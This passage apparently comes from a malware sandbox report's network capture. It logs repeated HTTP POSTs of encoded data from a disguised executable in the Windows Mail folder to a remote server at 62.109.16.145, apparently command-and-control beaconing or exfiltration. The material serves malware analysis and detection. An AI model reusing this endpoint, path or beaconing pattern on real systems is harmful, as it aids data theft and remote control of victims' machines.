Jan 9, 2025 04:13:51.710444927 CET	380	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:13:51 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 152 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 0c 1a 23 12 21 07 3d 01 3f 0c 37 5a 3f 3c 28 0f 3c 1f 24 13 29 30 2e 05 29 3a 2d 05 2a 04 37 54 28 05 0b 02 30 1c 21 08 23 10 2a 13 35 30 2e 59 0c 1d 3a 07 29 38 2e 14 32 0d 37 1e 29 23 00 59 22 1f 30 03 33 3e 36 52 30 3b 38 1d 3c 31 23 0e 3e 08 20 0a 2e 38 29 46 27 33 31 08 25 2e 21 5e 02 14 23 12 2a 3e 2b 1f 28 27 3c 01 26 22 29 0c 34 13 36 50 35 06 0a 0f 21 38 22 17 2a 31 2e 5d 20 31 24 59 24 23 08 18 23 22 3d 54 3e 19 2f 5c 2b 03 2b 49 01 31 55 56 Data Ascii: #!=?7Z?<(<$)0.):-7T(0!#50.Y:)8.27)#Y"03>6R0;8<1#> .8)F'31%.!^#>+('<&")46P5!8"1.] 1$Y$##"=T>/\++I1UV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.4	50130	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:13:51.193675041 CET	429	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1048 Expect: 100-continue Connection: Keep-Alive
Jan 9, 2025 04:13:51.544487953 CET	1048	OUT	Data Raw: 5a 50 59 5a 5a 5f 58 5c 55 56 55 5a 56 5f 55 52 56 5d 5a 53 55 51 53 5d 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: ZPYZZ_X\UVUZV_URV]ZSUQS]T[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW&'9/\ .$[<, &3Y>&_2(#&'?7(_/ \%#Y)
Jan 9, 2025 04:13:51.887742996 CET	25	IN	HTTP/1.1 100 Continue
Jan 9, 2025 04:13:52.019443035 CET	207	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:13:51 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3e 52 5a 55 Data Ascii: >RZU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.4	50131	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:13:52.139864922 CET	405	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1048 Expect: 100-continue
Jan 9, 2025 04:13:52.497489929 CET	1048	OUT	Data Raw: 5f 52 5c 5e 5f 5c 58 5a 55 56 55 5a 56 5c 55 5d 56 5c 5a 52 55 5d 53 56 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: _R\^_\XZUVUZV\U]V\ZRU]SVT[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW%$_( 8%31&?X? 3*()'9-R?0#Z1<,Y)4$_?? \%#Y)4
Jan 9, 2025 04:13:52.858462095 CET	25	IN	HTTP/1.1 100 Continue
Jan 9, 2025 04:13:52.989516020 CET	151	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:13:52 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 3e 52 5a 55 Data Ascii: >RZU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.4	50132	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:13:53.128524065 CET	429	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1048 Expect: 100-continue Connection: Keep-Alive
Jan 9, 2025 04:13:53.482209921 CET	1048	OUT	Data Raw: 5f 57 5c 5b 5a 5c 58 51 55 56 55 5a 56 5a 55 54 56 53 5a 5c 55 53 53 5d 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: _W\[Z\XQUVUZVZUTVSZ\USS]T[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW%0) ]=^09?Z"&;]>"29"? $&;)7 Y<? \%#Y),
Jan 9, 2025 04:13:53.833497047 CET	25	IN	HTTP/1.1 100 Continue
Jan 9, 2025 04:13:53.967467070 CET	207	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:13:53 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3e 52 5a 55 Data Ascii: >RZU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.4	50133	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:13:54.093719959 CET	429	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1048 Expect: 100-continue Connection: Keep-Alive
Jan 9, 2025 04:13:54.450651884 CET	1048	OUT	Data Raw: 5a 5b 5c 5e 5f 5e 5d 5d 55 56 55 5a 56 5a 55 50 56 5d 5a 5a 55 54 53 57 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: Z[\^_^]]UVUZVZUPV]ZZUTSWT[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW&Z3_37=$".Y<=3 '[)!&9(?_1'?70X*/ \%#Y),
Jan 9, 2025 04:13:54.800591946 CET	25	IN	HTTP/1.1 100 Continue
Jan 9, 2025 04:13:54.936729908 CET	207	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:13:54 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3e 52 5a 55 Data Ascii: >RZU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.4	50134	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:13:55.060705900 CET	429	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1048 Expect: 100-continue Connection: Keep-Alive
Jan 9, 2025 04:13:55.419668913 CET	1048	OUT	Data Raw: 5f 57 59 58 5a 58 58 5d 55 56 55 5a 56 5f 55 57 56 54 5a 5d 55 5c 53 58 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: _WYXZXX]UVUZV_UWVTZ]U\SXT[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW%394#902!(4,>;6&-R?32,X=70?/ \%#Y)
Jan 9, 2025 04:13:55.769793987 CET	25	IN	HTTP/1.1 100 Continue
Jan 9, 2025 04:13:55.901357889 CET	207	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:13:55 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3e 52 5a 55 Data Ascii: >RZU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.4	50135	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:13:56.034821987 CET	429	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1048 Expect: 100-continue Connection: Keep-Alive
Jan 9, 2025 04:13:56.388107061 CET	1048	OUT	Data Raw: 5a 51 59 5e 5f 55 5d 5c 55 56 55 5a 56 59 55 57 56 55 5a 58 55 5c 53 5e 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: ZQY^_U]\UVUZVYUWVUZXU\S^T[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW&Z0)$7(-Z&"1(-,# *+=')9Q<U?X2#=7+/ \%#Y)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.4	50136	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:13:56.724499941 CET	429	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1764 Expect: 100-continue Connection: Keep-Alive
Jan 9, 2025 04:13:57.078258038 CET	1764	OUT	Data Raw: 5a 54 59 5d 5a 59 58 5f 55 56 55 5a 56 5c 55 52 56 57 5a 58 55 5c 53 5d 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: ZTY]ZYX_UVUZV\URVWZXU\S]T[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW%%)+#>$?3##**%::(+Y$/(]=7+/ \%#Y)4
Jan 9, 2025 04:13:57.421251059 CET	25	IN	HTTP/1.1 100 Continue
Jan 9, 2025 04:13:57.566047907 CET	380	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:13:57 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 152 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 0c 1a 23 10 36 00 32 58 2b 22 33 12 2b 3f 23 1e 2b 31 3c 12 28 09 2a 05 29 29 2d 01 2a 3e 37 54 3f 3b 04 5c 26 22 3a 1d 37 3d 26 59 21 0a 2e 59 0c 1d 3a 05 3f 38 25 0b 27 30 2b 5d 2a 0d 03 00 36 31 01 15 24 07 36 56 33 3b 24 1d 3f 0c 30 1c 29 08 33 56 2f 38 26 18 30 33 29 0e 26 3e 21 5e 02 14 23 5d 2a 04 2b 56 3e 09 27 5f 31 32 2a 54 34 03 21 09 22 28 05 1a 35 06 25 04 2a 57 22 5c 34 31 34 5b 24 23 21 08 37 08 3a 09 3d 09 2f 5c 2b 03 2b 49 01 31 55 56 Data Ascii: #62X+"3+?#+1<())->7T?;\&":7=&Y!.Y:?8%'0+]61$6V3;$?0)3V/8&03)&>!^#]+V>'_12T4!"(5%W"\414[$#!7:=/\++I1UV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.4	50137	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:13:56.918276072 CET	429	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1048 Expect: 100-continue Connection: Keep-Alive
Jan 9, 2025 04:13:57.263200998 CET	1048	OUT	Data Raw: 5f 52 59 5e 5f 5d 58 5b 55 56 55 5a 56 51 55 56 56 5c 5a 5d 55 52 53 56 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: _RY^_]X[UVUZVQUVV\Z]URSVT[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW&\39 +01-<>#\ 6/Z*9%9+U'X1,]='?/ \%#Y)
Jan 9, 2025 04:13:57.608086109 CET	25	IN	HTTP/1.1 100 Continue
Jan 9, 2025 04:13:57.737624884 CET	207	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:13:57 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3e 52 5a 55 Data Ascii: >RZU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.4	50138	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:13:57.860553026 CET	405	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1048 Expect: 100-continue
Jan 9, 2025 04:13:58.216227055 CET	1048	OUT	Data Raw: 5a 5a 59 5a 5f 54 58 5c 55 56 55 5a 56 5d 55 54 56 52 5a 5c 55 52 53 5e 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: ZZYZ_TX\UVUZV]UTVRZ\URS^T[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW%'_44;"$?0 %/);[%+U$1/')7$Z(? \%#Y)0
Jan 9, 2025 04:13:58.579705000 CET	25	IN	HTTP/1.1 100 Continue
Jan 9, 2025 04:13:58.719321966 CET	151	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:13:58 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 3e 52 5a 55 Data Ascii: >RZU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.4	50139	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:13:58.848289967 CET	429	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1048 Expect: 100-continue Connection: Keep-Alive
Jan 9, 2025 04:13:59.200598001 CET	1048	OUT	Data Raw: 5f 52 59 5d 5f 5a 58 5e 55 56 55 5a 56 5d 55 5d 56 56 5a 58 55 5d 53 5c 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: _RY]_ZX^UVUZV]U]VVZXU]S\T[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW%')+]7^0T:]+.'"&?);.19%(0 $,0X=<X+ \%#Y)0
Jan 9, 2025 04:13:59.553816080 CET	25	IN	HTTP/1.1 100 Continue
Jan 9, 2025 04:13:59.688688993 CET	207	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:13:59 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3e 52 5a 55 Data Ascii: >RZU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.4	50140	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:13:59.812156916 CET	429	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1048 Expect: 100-continue Connection: Keep-Alive
Jan 9, 2025 04:14:00.169397116 CET	1048	OUT	Data Raw: 5a 55 59 5d 5f 5d 5d 5b 55 56 55 5a 56 5f 55 52 56 53 5a 53 55 51 53 59 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: ZUY]_]][UVUZV_URVSZSUQSYT[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW&3 4:'%+=(4C');&':=S(<&/,=78_(/ \%#Y)
Jan 9, 2025 04:14:00.507992029 CET	25	IN	HTTP/1.1 100 Continue
Jan 9, 2025 04:14:00.641496897 CET	207	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:14:00 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3e 52 5a 55 Data Ascii: >RZU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.4	50141	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:14:00.763659000 CET	429	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1048 Expect: 100-continue Connection: Keep-Alive
Jan 9, 2025 04:14:01.124170065 CET	1048	OUT	Data Raw: 5f 51 5c 5d 5f 54 58 5a 55 56 55 5a 56 5a 55 5c 56 53 5a 59 55 52 53 5b 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: _Q\]_TXZUVUZVZU\VSZYURS[T[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW%'(";)]$!2Z(.Y"6#X.%)3%Y<>+? \%#Y),
Jan 9, 2025 04:14:01.462322950 CET	25	IN	HTTP/1.1 100 Continue
Jan 9, 2025 04:14:01.607140064 CET	207	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:14:01 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3e 52 5a 55 Data Ascii: >RZU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.4	50142	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:14:01.732033968 CET	429	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1048 Expect: 100-continue Connection: Keep-Alive
Jan 9, 2025 04:14:02.091430902 CET	1048	OUT	Data Raw: 5f 50 59 59 5f 5c 58 5f 55 56 55 5a 56 5a 55 56 56 54 5a 52 55 52 53 5d 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: _PYY_\X_UVUZVZUVVTZRURS]T[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW%3:0#]-]0"](+]4%$=89Z')=V(#'[%Y;>'<Y( \%#Y),
Jan 9, 2025 04:14:02.424588919 CET	25	IN	HTTP/1.1 100 Continue
Jan 9, 2025 04:14:02.555676937 CET	207	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:14:02 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3e 52 5a 55 Data Ascii: >RZU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.4	50143	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
